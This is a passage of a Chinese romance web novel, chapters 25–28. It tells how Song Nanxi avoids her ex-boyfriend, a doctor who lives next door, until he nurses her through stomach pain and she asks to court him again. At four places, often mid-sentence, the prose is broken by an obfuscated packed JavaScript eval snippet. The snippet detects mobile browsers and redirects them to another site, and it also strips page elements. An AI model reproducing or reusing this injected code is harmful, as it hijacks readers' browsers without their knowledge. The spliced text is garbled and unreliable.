想问的话还是堵在了嗓子眼,宋南汐只想维持最后的体面,强颜欢笑道:“那我也替我哥谢谢你。” 陈见青皱了皱眉,眸光有些疑惑,但不等他问出口,宋南汐率先开口道:“没什么事的话,我就先走了。” 说完,宋南汐快步走出了厨房。 胡若瑶见宋南汐步履匆匆地去了玄关换鞋,也跟着一起走了。 曾岳纳闷,难不成洗个碗都能吵架? 正要去问个究竟的时候,陈见青正好从厨房出来。 曾岳:“你惹她了?” 厨房里,他们说的话屈指可数,陈见青复盘了几遍,也没找到问题所在,惹她?根本无从谈起。 到底是从哪句话开始她的态度就开始不对劲了…… 陈见青没说话,曾岳又问:“你到底说什么了?我妹可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114885|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易生气。” 某个关键字似乎给了陈见青启发,他回问:“你惹她了?” 曾岳一脸莫名其妙:“没有啊。” 陈见青思忖道:“她好像对‘曾岳妹妹’这个称呼很有意见。” 曾岳的无语都摆在脸上了,一针见血地指出问题:“我觉得她是对你有意见。” - 那天过后,宋南汐连着半个月都在刻意躲着陈见青。 尽量避开他可能出现的所有的时间点,遛狗时间也选的非常阴间。 两个人虽然是对门邻居,但半个月以来从未碰过面,多亏了宋南汐的缜密计算。 但这样的时间安排让宋南汐有点吃不消,每天需要喝更多的黑咖啡才能打起精神来。 长时间的不规律饮食和作息让她的胃病隐隐有复发的趋势。 难得公司不需要加班,正好陈见青也在医院值班,宋南汐终于在八点之前就坐上了回家的电梯。 上电梯后,她再次打开锁屏页面的时间表确认了一下,今天陈见青确实是在医院值班,她这才放心地摁了楼层。 跟她一起坐电梯的还有一个老奶奶,住在十九楼,看她脸色有些白,担心地问了句:“孩子,没事吧?” 宋南汐扯出一抹笑,“没事,奶奶。” 不知道是不是因为撒了谎,胃竟然越来越疼,她胡乱地揉了揉,想着回家后先点个外卖。 “叮”地一声,八楼到了,电梯门缓缓打开。 宋南汐听见“喵”地一声,猝然抬眸,倏地迎上一道深沉的目光。 那一瞬间,手比脑子快,她反手就把电梯关上了。 同乘电梯的老奶奶疑惑道:“孩子,你不是住在八楼吗?” 宋南汐看着不断上行的电梯,抬手摁下32楼,不假思索道:“我想去看看顶楼的风景。” 上行过程中,宋南汐打开锁屏上的时间表认真比对日期。 没错啊!陈见青确实今天应该在医院值班啊!为什么会出现在家里? 宋南汐找到曾岳的微信,给他发去消息:【你发的值班表是不是没更新?陈见青今天为什么会出现在家?】 微信上方立刻浮现出“对方正在输入中…”的字样。 宋南汐等了好一会儿,直到电梯到了32楼,对面才回过一条消息:【靠!他背着我偷偷换班了!】 电梯到了顶楼,宋南汐站在电梯里看着那条消息格外郁闷。 那她现在要去哪?她看着电梯上的按钮,思索着要不要先去一楼随便找个地方吃点东西待一会的时候,电梯门忽然缓缓关上了。 然后,八楼的按钮亮了,电梯开始下行。 宋南汐眼疾手快地摁下30楼,在电梯门打开的时候毫不犹豫走了出去。 看着电梯显示屏上不断下行的电梯,宋南汐下意识松了口气。 下一秒,手机却倏地响了起来。 宋南汐看了一眼来电人——陈医生。 “……”真是躲什么来什么。 宋南汐没接,任由电话响到挂断。 挂断后,手机上跳出一条短信,依旧是来自于——陈医生: 【你下来,还是我上去?】 25. 缺心少肝.宋 五分钟后,电梯再次运行到八楼。 “叮”地一声,电梯门缓缓打开,陈见青正站在门外,脚边蹲着一只乖巧的胖橘。 宋南汐走出电梯,大橘猫立马凑上来围着她蹭来蹭去。 她提了提唇角,“你今天下班这么早啊?” 陈见青撩了撩眼皮,“你知道我的下班时间?” “……”宋南汐哽了一瞬,讪笑道:“我猜的,看你这段时间挺忙的,也没见过你。” 陈见青盯着她没说话,那目光看不出什么情绪,良久,他的唇边浮起一丝讽意,语气凉凉道:“是吗?我还以为你在故意躲着我呢。” 宋南汐的笑有片刻的凝固,“怎、怎么会呢。” 脚边的大橘猫一直在孜孜不倦地蹭来蹭去,看陈见青手里拿着牵引绳,宋南汐问了句:“是要带它出去遛弯?” 陈见青淡淡嗯了声,宋南汐疑惑地看了眼陈见青脚上的拖鞋。 穿着拖鞋去遛猫? 她没再多问,很有眼力见地道别:“那你忙,我就先回家了。” 错身间隙,陈见青也跟了上来。 宋南汐停下脚步,“你不是要去溜猫?” 陈见青:“遛完了。” 宋南汐瞥了眼牵引绳另一端不肯走的胖橘,“它好像不太想回家。” 陈见青轻轻拽了一下绳子,“南南。” 大橘猫不太情愿地跟了上来。 到了家门口,陈见青却没有要回家的意思。 一人一猫跟在她身后,两道灼热的视线注视着她,宋南汐实在没办法忽略,微笑转过身:“还有什么事吗?” “有。”陈见青说,“我的外套你还没还我。” “……”忘了这茬了,他的风衣外套自从上次干洗拿回来后就一直躺在她家衣柜里。 宋南汐赶忙道歉:“不好意思,我现在就去给你拿。” 宋南汐开门,白色比熊闻声立刻摇着尾巴很兴奋地围了上来,门口蹲着的大橘猫发出警告的低吼。 比熊从宋南汐的脚边探出头,看见门口的半挂橘猫凶恶地瞪着它,颇为委屈地哼唧了两声。 宋南汐怕这一狗一猫发生冲突,把比熊哄回了家里,她则去衣帽间拿衣服。 风衣被完好地装在袋子里,归置在衣柜的最角落,宋南汐弯腰去拿,胃疼猛地加重了,她有些难受地蹲下,缓了好一会,才慢慢站起来。 强撑着走到门口,把衣服递过去:“谢谢你的衣服。” 陈见青没接,皱了皱眉,直接握住她的手腕,凉的渗人,“哪不舒服?宋南汐。” 本想装作若无其事,但脸色实在过于苍白,明眼人都能看出她的不对劲来,宋南汐的手紧紧摁着胃的位置,弯着腰,艰难挤出两个字:“胃疼。” “家里有药吗?”陈见青问。 “有。” 陈见青把她手中的袋子放到玄关柜上,关好门,直接将她拦腰抱起,阔步走到沙发旁将她轻轻放下,“药在哪?” “茶几下的抽屉里。” 陈见青拉开抽屉,目光顿住。 里面瓶瓶罐罐的,装的全都是小药瓶。 一眼掠过去,治疗胃病的、头疼的、睡眠的,竟然还有治疗焦虑的心理药物。 陈见青从里面拿出治疗胃病的药瓶,空荡荡只剩下几颗,可见她平时吃的有多频繁。 他倒了两颗药出来,捻在指尖,“张嘴。” 宋南汐疼的迷迷糊糊,闻言乖乖张嘴,含住了他指尖的药物。 陈见青眸色暗了暗,下意识捻磨了一下指尖的濡湿,拇指轻轻摁在她略显苍白的唇上。 宋南汐眨了眨眼,嘴唇翕张,有些含糊不清道:“水。” 陈见青倒了半杯水塞进她手里:“自己喝。” 宋南汐将那半杯水仰头灌下去,才冲淡了舌尖上的苦涩。 陈见青蹲在沙发前,接过她手中的空杯子,放回桌上。 宋南汐的手揉摁在胃处,垂眸看向陈见青,有些不好意思再耽误他的时间,“我好多了,你先去忙吧。” 陈见青声音有些低:“什么时候开始有的胃病?” 什么时候?现在仔细想想,连她也不记得具体的时间了,好像是跟他分手去国外以后没多久就便有了这种病。 “不知道,记不清了。”她道。 “吃饭了吗?” 宋南汐本想撒谎说吃了,还没来得及开口,就听陈见青问:“清淡一点的,白菜鸡蛋豆腐煲,吃不吃?” 肚子适时地发出咕噜咕噜的声音,在安静的客厅里异常响亮。 半晌,她不禁吞了吞口水,没骨气道:“吃。” “还能走路吗?去对面。” 宋南汐点了点头,“我自己可以。” 她站起身要去对门的时候,青青也跟了上来,宋南汐想把青青哄回去,奈何它今天异常的倔,就是打定主意要跟她出门,咬着她的裤脚哼哼唧唧不松口。 一旁的胖橘南南十分不屑地看了一眼宋南汐脚边的狗,然后一爪子拍了过去。 青青瞬间畏缩着松了口,身体伏的低低地,哼哼唧唧的,听起来很委屈。 宋南汐有些于心不忍,然后就听见陈见青说:“让它一起过去吧。” 陈见青一同意,宋南汐也没再拒绝,对着脚边的狗狗招了招手,“走吧。” 青青立马欢快地跟在宋南汐身后进了对门。 陈见青说:“去沙发上坐一会儿。” “哦,好。”宋南汐象征性问了句:“有需要我帮忙的吗?” 陈见青:“好好休息,不需要帮忙。” 宋南汐应了声好,在沙发上坐下。 到了陌生的地方,青青竟没有害怕的感觉,反而亦步亦趋地跟在南南的不远处。 它看起来想跟南南交朋友,但南南似乎很嫌弃它。 宋南汐忍俊不禁笑了下,朝青青招了招手,青青便小跑着过来窝在了宋南汐脚边。 陈见青从厨房走出来,提了一个电热水壶,走到茶几旁倒了一杯水递给她,“先喝点热的,暖一下胃。” 宋南汐接过喝了一口,道了声谢。 热水顺着喉咙淌下去,确实舒服了不少。 她唇角还挂着淡淡的笑意,陈见青问了句:“什么事这么开心?” 宋南汐指了指蹲在角落里的南南,“南南似乎不太喜欢青青。” 陈见青抬眸看了眼角落里的面壁思过的大橘猫,他很了解,一般有生人或者它不喜欢的人,它就会摆出这个姿势。 不喜欢宋南汐?那必然是不可能。 陈见青叫了声:“南南,过来。” 角落里的胖橘不耐烦地摇了摇尾巴。 陈见青又重复了一遍:“过来,南南。” 那个肥硕的背影终于动了动,不太情愿地朝陈见青这边走过来,趴在他脚边。 陈见青蹲下身轻轻拍了拍南南的屁股,“南南,去交个新朋友。” 大橘猫眯了眯眼,不为所动。 宋南汐劝道:“它不喜欢的话还是不要强迫它了。” 陈见青语焉不详,轻声说了句:“早晚要处好关系。” 他又拍了拍大橘猫的屁股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129211|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“两根猫条。” 大橘猫的尾巴晃了晃。 陈见青继续加码,“加一个罐头。” 话落,陈见青脚边的大半挂橘猫终于纡尊降贵站起身,走到宋南汐脚边,对着那个小比熊犬低下了昂贵的头颅,施舍般地舔了舔比熊的脑袋。 小比熊开心地摇了摇尾巴。 橘猫没再看比熊一眼,直接窝在了宋南汐脚边,也不再排斥比熊的靠近了。 宋南汐似乎明白了陈见青的训猫准则——牢牢抓住它的胃。 陈见青站起身,“先坐一会儿,饭很快就好。” “好。” 陈见青转身进了厨房,宋南汐坐在沙发上有些无聊地四周张望。 上次来的时候,她都没注意观察他的家。 跟她现在住的地方布局基本是一样的,客厅里干净又整洁,所有东西摆放的井井有条,虽然家里养了猫,但宋南汐仔细观察了一下,沙发上甚至都看不见一根猫毛。 他还是有洁癖,从来都没有变过。 宋南汐又低头去看脚边的橘猫,不禁想起,大学时的陈见青其实对猫猫狗狗这类的宠物根本不感兴趣,甚至可以说因为洁癖的原因略微嫌弃。 那……又是什么原因促使着他收养了南南呢? 食物的香气从厨房飘散过来,宋南汐的胃已经没有那么痛了,倒是越来越饿。 很快,一锅白菜鸡蛋豆腐煲就做好了。 奶白色的汤底,虽然看起来很清淡,但意外地鲜香。 宋南汐眼睛都亮了几分:“好好喝!” 陈见青的眼睛弯了弯,“多喝一点。” 适时,厨房传来一道机器运行结束的声音,陈见青站起身离开,宋南汐不禁看了眼,难道他还准备了其他吃的? 没一会儿,陈见青端着一个盘子从厨房走出来,放到餐桌中央。焦焦的鸡心和鸡肝,闻起来有很香的自然烧烤味。 陈见青下巴微抬,示意她:“尝尝?” 宋南汐抿了抿唇,“其实我不太喜欢吃动物的内脏。” 这种东西一旦处理不好,就很腥,很难吃,所以她一般选择不吃。 即使如此,她还是很给面子地搛了一块鸡心放进嘴里。 肉质紧致,外表焦脆,一口咬下去,焦香无比,没有任何所谓的腥味。 宋南汐没忍住又搛了一块。 没一会儿,一盘子鸡心和鸡肝被某个不太喜欢吃动物内脏的人消灭一半。 陈见青挑了挑眉,“不吃动物内脏?” 宋南汐喝了口汤,纠正自己的措辞:“……一般情况下不吃。” “哦,这样啊,”陈见青说:“但是,上次吃火锅的时候那些鸭肠和毛肚不就数你吃的最多吗?” 宋南汐一时哑言,心说,就你会观察,可显着你了。 不过吃人嘴短拿人手软,宋南汐没有反驳,脚边的大橘不断地蹭她的腿,还一直喵喵叫,她低头看了眼,“南南怎么了?” 陈见青用拖鞋轻轻踢了踢那块肥屁股,“去一边玩,晚点做给你吃。” 话落,南南听话地去一边玩了。 陈见青解释道:“平时这些都是给它吃的。” 宋南汐:“……所以,我抢了它的吃的?” “是新鲜的,人也可以食用的。”陈见青看着她说:“这份是专门给你做的,它吃的一般不加调料。” 宋南汐抿了抿唇,跟他说谢谢。 陈见青笑了下,“不客气,吃什么补什么,你可以多吃点。” 宋南汐:“……” 狗嘴里吐不出象牙 26. 为什么躲我? 吃完饭,宋南汐自告奋勇去洗碗,被陈见青拒绝。 陈见青说:“我有洁癖,喜欢自己洗碗。” 宋南汐有些不好意思,“那也太麻烦你了。” 陈见青挑了挑眉:“宋南汐,你好像很怕麻烦我?” 宋南汐尴尬笑笑:“毕竟,我们现在也不算很熟的关系。” 闻言,陈见青轻嗤了声:“前任都不熟,那你跟谁熟?” 宋南汐:“……” 这种拿不到台面上的关系,为什么经他的口说出竟隐隐有种骄傲感。 宋南汐觉得这天是聊不下去了,她站起身,“既然没什么事,那我就先走了,今天谢谢你。” 说完也不等陈见青回应,她一把抱起正在跟大橘猫献媚的小比熊犬,逃也似的出了门。 出了门,总算安心了些,宋南汐把狗狗放到地上,正准备输密码开门。 密码正确的提示音响起时,她握着门把手,门刚开了一条缝,身后的门同时被打开,宋南汐怔愕回头。 在她还没反应过来的时候,身前的门被一只指节修长的手摁住。 “啪嗒”一声响,刚打开的门又再次被重新关上了。 陈见青单手抵着门,宋南汐的背紧紧贴在门上。 两个人以一种壁咚的姿势僵持片刻。 宋南汐心跳都慢了半拍,抬眸对上那双深不见底的眼睛时,总觉得他下一秒就会吻上来。 “还有事吗?”她轻声问。 “宋南汐,我们谈谈。”陈见青说。 “谈什么?” “谈谈你为什么躲我。” “……”宋南汐垂着眼睛,“我没有躲你。” 陈见青的声音很低,很沉,他又重复了一遍,“宋南汐,为什么躲我。” 两人静默片刻,宋南汐没有回答,陈见青就耐心的等着,就好像他一定要问出一个他满意的结果来才肯罢休。 良久,宋南汐深吸口气,抬眸对上他的眼睛,扯了扯唇角,“陈见青,我知道这些日子你只是因为‘曾岳妹妹’这层关系才格外照顾我,其实你没必要这样,我知道你很讨厌我,所以我会尽量减少在你面前出现的频率,等找到合适的房子后,我就搬走。” 陈见青气笑了,“大半夜去警局接你、给你做夜宵、担心你在你家楼下守夜、特意换班帮你搬家,还有,在医院里你当着那么多人的面对我上下其手,我也没追究。你把这些,都只归结为‘曾岳妹妹’?” 宋南汐眨了眨眼睛,有些不可置信地看着他。 原来那晚他真的在她家楼下守了一夜,怪不得第二天他看起来那么疲惫。 还有搬家那天,他竟然是特意跟别人换了班。 宋南汐愣愣地问:“不是因为曾岳妹妹吗?” 陈见青轻嗤了一声,“你以为‘曾岳妹妹’是什么免死金牌吗?” 宋南汐只觉得大脑一片空白,一时之间有些无法思考。 看着她有些呆滞的眼神,陈见青沉声质问,“你来说说,我讨厌你这个结论从哪得出来的?” 宋南汐小声道:“我以为……你讨厌我。” “你以为?”陈见青冷笑了声,“所以你全靠想象就得出了这么草率的结论?” 宋南汐:“……也不算草率吧。” 毕竟,谁会对渣了自己的前任好脸色?反正她不会。 陈见青:“阅读理解做的这么好,语文是体育老师教的吧?” “我小学语文确实是体育老师教的。”迎着陈见青有些凝滞的目光,宋南汐小声解释:“其实,我语文和体育成绩都挺好的。” 陈见青被这认真的解释气笑了,“那我是不是要夸夸你?” 宋南汐纠结片刻,“也行。” 陈见青:“……” 气氛有片刻的凝滞,宋南汐就这么真诚地看着他,仿佛真的在等着他的夸奖。 好半晌,陈见青才憋出一句:“那你可真棒!” 重逢以来,陈见青的毒舌听了不少,夸人的话还是第一次听,她有些羞哧,“谢谢。” “……”陈见青垂眸看着她,突然道:“宋南汐,你有没有要问我的?” 对门半开着,大橘猫不知什么时候跑到了门口蹲着,很夹地“喵”了一声。 “有,”宋南汐说:“为什么收养南南?” 陈见青凝着她的目光有些幽怨,“因为我们同病相怜,同时被同一个人抛弃。” 宋南汐攥紧手指,指尖扣紧肉里,疼痛感顺着神经蔓延到心脏。 “还有没有要问的?” 当然有,从调来江临工作的那天,或许是更早之前,在她决定回国的那天,她就想当面问他: 陈见青,你还喜欢我吗? 陈见青,我们还能重新开始吗? …… 紧攥着的手指被一只温热的大手一点点舒展开来,“别攥手指,有话就说。” “我……”嗓子里像是堵了一团棉花,想问的话太多,每一句都没有勇气问出口,“没有了。” 陈见青没再说话,沉默地凝着她。 纵使宋南汐垂着眼,也依旧能感受到头顶那道灼热的视线,仿佛穿透她的身体,将那颗急促跳动的心脏烧的滚烫,不断烘烤着心底深处埋藏着的冷却的勇气。 “算了。”撑在门上的手臂垂落下来,陈见青没什么语气地说:“你回家吧。” 在他转身的瞬间,一只微凉的手握住了他的手腕,“有的。” 陈见青脚步一顿,转过身,耐心等着她的提问。 宋南汐抿了抿唇,嗓音发紧:“陈见青,我能追你吗?” 随着话音落下,握在他手腕上的那只手力道无意识地加重,指甲深深扣着他的肉,他能感受到面前这个面色镇定的女人此刻有多紧张。 陈见青蓦地笑了,晃了晃手腕,“我不同意,你就要掐死我吗?” “……”宋南汐意识到自己的失态,立刻放了手,真诚道歉:“对不起,我不是故意的。” 宋南汐清了清嗓子,又重复问了一遍:“陈见青,我还能追你吗?” “……”陈见青无言片刻,“过了这么多年,你还是这么讲礼貌。” 宋南汐想起刚开始追他的时候,她也问过同样的问题。 当时,陈见青问,你追人还要同意的?宋南汐的回答是,追人要讲礼貌。 所以,追人也要取得对方的同意。 其实,所谓的追人要讲礼貌不过是她胡扯的谎话。 她这个人,向来只做有把握的事,追人也不例外。 她需要对方有个明确的答案,这样她才会朝对方主动迈步。 正如现在,她需要明确陈见青对她的态度,她才能确定这件事是否是有意义的。 没有意义的事,没有必要浪费彼此的时间。 此刻,陈见青问出了和当年一样的话,“你追我,还要我同意?” 宋南汐认真点了点头,这次她没再以冠冕堂皇的理由掩饰自己的目的,坦然道:“七年的时间,足以改变一个人的习惯和喜好,就像我不再怕狗,而你也不再喜欢吃麻酱碟了。” “没有变,我不喜欢吃油碟。”陈见青说,“吃火锅那天,之所以拿了麻酱碟和油碟,是因为我不确定你还是否喜欢吃麻酱碟。” 宋南汐抬眸看着他,心跳有些快,答案也渐渐清晰。 他说:“和七年前一样,我的习惯喜好都没有变,我还是我。” “我……”宋南汐张了张口,组织着大脑中凌乱的语言,好半会才道:“我知道了。” 陈见青皱了皱眉,似乎不满意她的回答,“没了?” 宋南汐眨了眨眼,琥珀色的眸子里闪过一丝狡黠,无辜道:“没了呀。” 陈见青舌尖抵着后槽牙笑了声,语气森森:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149513|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你很好。” 宋南汐连忙拉住转身欲走的陈见青,眉眼弯弯道:“那我能追你吗?” 陈见青不觉蹙起眉:“我说的还不够清楚?” 宋南汐非常狗腿地笑道:“清楚清楚。那我明天就开始追你,行吗?” 陈见青眸波微动:“明天?” 宋南汐连忙纠正:“今天!现在!我立刻马上就追你!” 陈见青别过眼,语气有些不自然,“你没必要告诉我。” 宋南汐“哦”了声。 门口的大橘猫看着陈见青又叫了一声,似乎是在催他回家。 陈见青看了她一眼,“明天早上过来吃饭。” 宋南汐抿了抿唇,有些不好意思:“那我总不能天天去蹭饭。” 毕竟,也没有让被追求的人给追求者做饭的道理。 这难免有点倒反天罡。 陈见青淡声道:“以后你买菜,可以天天来这吃饭。我值班的时候你就自己吃。” 宋南汐:“我怎么知道你的值班时间?” 陈见青挑了挑眉,“我的值班时间表不就在你的手机屏保上吗?” 宋南汐垂眸看了眼手中熄灭的屏幕,惊愕抬眼:“你怎么知道?” 陈见青气定神闲道:“刚刚吃饭的时候不小心看到的。” “奥。”宋南汐索性打开锁屏递给他看,求证道:“这个时间表是对的吗?” 陈见青垂眸瞥了一眼,语气凉凉:“这半个月的时间还不够你验证它的准确性?” 宋南汐立马听懂了他的言下之意,讪笑着收回手机,“够了够了。” 陈见青瞥了眼手腕上攥着的那只冷白瘦削的手,“还有事?” 宋南汐摇了摇头,放开了手,眼睛却还是不由自主地盯着陈见青看。 明亮灯光下,他穿着一件白色v领毛衣,站在宋南汐的角度,能明显看到那截凸起的锁骨,往上是他滑动的喉结。 目光寸寸上移,重新审视这张脸,宋南汐忽然觉得他还是变了的。 褪去那层稚嫩和少年气,他变得越发稳重成熟,气质也更加疏冷,就好像生长在陡峭崖壁上的那株天山雪莲,吸引着冒险者们心神向往。 宋南汐忽然觉得,她就是那个冒险者,即使陈见青今天没有同意她的追求,但在未来某一天她还是会鼓起勇气主动攀爬那悬崖峭壁,去采摘那株雪莲,或许那时候的她没有任何把握,可她还是会尽力一试。 “陈见青,”宋南汐忽然叫住他,“我觉得你变了。” 陈见青:“?” 宋南汐笑:“变得更帅了。” 陈见青:“……油嘴滑舌。” 是夜,月朗星稀,霓虹灯光闪烁,有人沉迷于夜生活,有人陷入酣甜的梦境,有人辗转反侧,孤枕难眠。 墙上的指针滴滴答答指向两点,猫猫四仰八叉在窝里睡得很熟,发出轻微的鼾声。 客厅里的灯没开,借着月色,陈见青再次点燃一支烟。 他重重吸了一口又缓缓吐出,烟圈隐没在黑暗中。 很快一根烟见了底,烟蒂被扔回烟灰缸。 烟盒里的烟只剩下两根,陈见青一言不发又抽出一根,点燃。 一包烟下去后,内心的烦躁丝毫不减。 宋南汐抽屉里那几十个瓶瓶罐罐的药在他脑海里挥之不去。 焦虑、胃病、失眠…… 这些年,她过得这么不好吗? 路清柏没有好好照顾她吗? 她和路清柏又是什么时候分的手呢? 陈见青重重呼出一口气,脑子里乱的像一团麻,整个人被一种难言的无力感紧紧包裹着。 他站在落地窗前,看着无边的月色,声音又低又哑,像是在自言自语:“宋南汐,为什么过得不好?” 她应该过得很好,至少比他好,这样他至少不会后悔当初那么轻易就放了手。 27. 生育能力 第二天一早,宋南汐神清气爽地起了床。 这一觉睡得极为踏实,她罕见的没有失眠,没有依靠药物入睡。 甚至还做了个异常甜美的梦,醒来的时候嘴角都不自觉扬着笑。 化完妆后,手机上蹦出一条陈见青的短信:收拾好就来吃饭。 宋南汐看了眼镜中的自己,满意地笑了下,拿上自己的风衣,挎好包就出了门。 对面的门半开着显然是为她留的,宋南汐脚上踩着高跟鞋,稍一思忖,正要准备回去换双拖鞋再来的时候,陈见青正好从厨房出来看见了她。 “怎么不进来?” “我没换拖鞋。” 陈见青朝她走过来,从玄关柜子里拿出一双粉色拖鞋,看起来是新买的,跟她家里的那双粉色拖鞋几乎长得一样。 “穿这双。”他说。 宋南汐记得上次来他家吃火锅的时候,她穿的还是陈见青准备的一次性拖鞋。 陈见青很自然地接过她身上的挎包和风衣挂在客厅的衣架上。 宋南汐没忍住嘟囔道,“拖鞋跟我家的一模一样,有种回自己家的错觉。” 陈见青挂衣服的手顿了一下,很快又恢复自然,“拖鞋是打折送的。” 打折送的,好巧不巧送了个粉色拖鞋? 宋南汐慢吞吞“奥”了声,语气有些失望:“原来不是特意为我准备的拖鞋啊。” 陈见青回答的干脆:“不是。” “不是给我准备的,那是给谁准备的?”宋南汐似乎不打算就此罢休,皱了皱眉,“陈见青,你还有其他追求者啊?” 陈见青闭口不言,转身就走。 宋南汐追在他身后喋喋不休,好像一定要得到一个答案一样:“陈见青,你昨天还说喜欢我的,怎么今天就移情别恋了,我这都还没开始追怎么就失恋了,我——” “——没有,没有其他追求者。”陈见青突然转过身,宋南汐猝不及防撞进他怀里,很淡很淡的烟味冲进鼻腔,她听见他几乎从齿缝中挤出几个字:“拖鞋……是因为我喜欢这个颜色。” “好巧,我也喜欢粉色。”琥珀色的眸子里含着一丝不易察觉的狡黠,宋南汐抬眸看着他一本正经道:“那我们都有一颗不老的少女心欸!” “……” 见鬼的少女心。 陈见青闭口不言,红着耳尖转身进厨房了。 宋南汐终于没忍住笑起来,怎么过了这么多年,这人还是这么不禁逗。 大橘猫窝在客厅沙发边上,昂着头,眯着眼,朝宋南汐很夹地叫了两声。 宋南汐笑着走过去蹲下摸了摸大橘猫的脑袋。 “洗手吃饭。”陈见青正好从厨房出来。 “好。” 宋南汐站起身,余光忽然瞥到茶几上的烟灰缸,里面的烟头都堆满了,往垃圾桶里觑了一眼,也有很多烟头。 之前医院天台上不欢而散的那次,结合之前曾岳的话,陈见青每次心情不好的时候就会抽烟缓解,就像她每次焦虑失眠的时候都会吃药缓解一样。 他心情不好吗? 宋南汐去洗了手,拉开椅子坐到桌前。 早餐看起来很丰盛,陈见青盛出一碗汤递给她,“虾仁菌菇鸡蛋煲,盘子里有鸡蛋饼。” 宋南汐道谢接过,尝了一口,味道极为鲜香,“陈见青,这些年你厨艺大涨啊。” 陈见青淡声道:“随便做做。” 宋南汐有一下没一下地搅着碗里的汤,忽然开口道:“陈见青,你以后能不能试着戒掉烟。” 陈见青撩了撩眼皮,“我没有烟瘾。” “奥。没有就好。”宋南汐认真看着他说:“吸烟不仅伤肺还伤身体,你还年轻,一定要好好爱护身体。而且我听说,吸烟久了还会影响生育能力,那方面可能不行。” 正在喝汤的陈见青被这句话呛得面目通红,宋南汐立马给他倒了杯水。 见他缓过来了,宋南汐继续苦口婆心劝导:“戒烟可能会有点痛苦,但是一时的痛苦是短暂的,未来的幸福才是长久的。” 怕陈见青没听进去,宋南汐有些忧心地看着他,郑重道:“陈见青,你一定要爱护身体,我可不想等我追到你的时候,你就不行了。” 陈见青又偏头猛地咳了起来。 宋南汐又给他递了一杯水,贴心道:“喝点水。” 陈见青灌完一杯水,整个面部连着脖子都是红的。 宋南汐还想说什么,陈见青直接冷声截断:“闭上嘴,吃饭。” 宋南汐闷闷“哦”了声,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168314|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些郁闷,不知道他有没有听进去。 吃完饭,宋南汐和陈见青同时出门上班。 宋南汐提议:“陈见青,我送你上班吧?你下班的时候我来接你。” 陈见青拿车钥匙的手停住,抬眉看向宋南汐:“你送我?” 宋南汐点点头,“行吗?” 陈见青把车钥匙重新放回去,淡声吐了两个字:“随你。” 于是这天,宋南汐开着她那辆异常扎眼的红色大G一路将陈见青送到了医院大门口。 这辆车太过惹眼,吸引了许多人的注意,有人甚至在拿手机拍照。 陈见青正要去解开安全带,宋南汐突然倾身过来。 她几乎贴在他身上,发丝擦过鼻尖,熟悉的小苍兰的味道缠绕上来,那一瞬间,陈见青似乎都已经感受不到自己的心跳,他嗓音发紧:“你干什么。” 下一秒,“啪嗒”一声,安全带被解开了。 “帮你解安全带。”宋南汐直起身,余光忽然瞥见陈见青脸上有一抹可疑的粉色,眼中闪过一丝促狭。 她再次倾身凑近了些,目光一眨不眨地盯着他,抬手戳了戳那张粉色的脸颊,好似疑惑地问:“脸这么红……陈见青,你背着我擦腮红了?” “……”陈见青的表情就差写上无语两字了,他面无表情道:“我去上班了。” 然后,毫不留恋地打开车门走了。 关门的瞬间,宋南汐的魔鬼笑声隔着车门传进陈见青的耳朵,随之而来的还有宋南汐的大声呼喊:“陈医生,下班我来接你啊!” 陈见青没回头,径直往医院走去。 来上班的曾岳恰好看见这一幕,他追上阔步走在前面的陈见青,“欸,见青,门口那车怎么那么像我妹的?” 陈见青说:“是她的。” “她来送你上班?”曾岳不太理解,佯装抬头看了眼天空,“太阳打西边出来了?” 前几天不是还对陈见青避如蛇蝎的? 陈见青淡淡觑了他一眼,“你知道了?” 曾岳:“?” 陈见青说:“她在追我。” 曾岳:“??” 陈见青云淡风轻道:“昨晚她跟我表白了,我还在考虑。” 曾岳:“……再见。” 28. 蓝色妖姬 宋南汐今天的心情格外的好,开会的时候不仅和颜悦色的,甚至在驳回员工方案时态度也异常温和。 在宋南汐手下工作了两个月的员工深知这不正常。 